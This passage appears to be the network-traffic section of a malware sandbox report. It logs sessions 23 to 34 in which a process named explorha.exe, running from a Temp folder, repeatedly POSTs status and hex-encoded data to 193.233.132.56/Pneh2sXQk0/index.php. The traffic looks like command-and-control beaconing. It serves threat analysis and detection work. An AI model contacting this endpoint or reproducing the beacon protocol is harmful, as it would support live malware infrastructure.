Apr 19, 2024 03:29:36.117934942 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:36.372840881 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49796	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:36.893942118 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:37.142980099 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:37.148803949 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:37.400942087 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49799	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:37.762373924 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:38.005568981 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:38.006568909 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:38.253547907 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49800	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:38.611541033 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:38.856164932 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:38.857573986 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:39.104885101 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49802	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:39.480129004 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:39.728435040 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:39.769382954 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:40.022821903 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49805	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:40.382827997 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:40.629853010 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:40.633198023 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:40.884537935 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49810	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:41.259679079 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:41.508354902 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:41.509511948 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:41.763334036 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49812	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:42.134469986 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:42.379851103 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:42.380669117 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:42.629538059 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49814	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:42.997772932 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:43.242815971 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:43.243563890 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:43.492702007 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49815	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:43.869604111 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:44.118108988 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:44.120521069 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:44.373209000 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49817	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:44.816508055 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:45.059449911 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:45.060233116 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:45.307044983 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49820	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:45.661050081 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:45.905271053 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:45.906037092 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:29:46.155529976 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49821	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:29:46.506915092 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:29:46.758116007 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:29:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 19, 2024 03:29:46.758900881 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
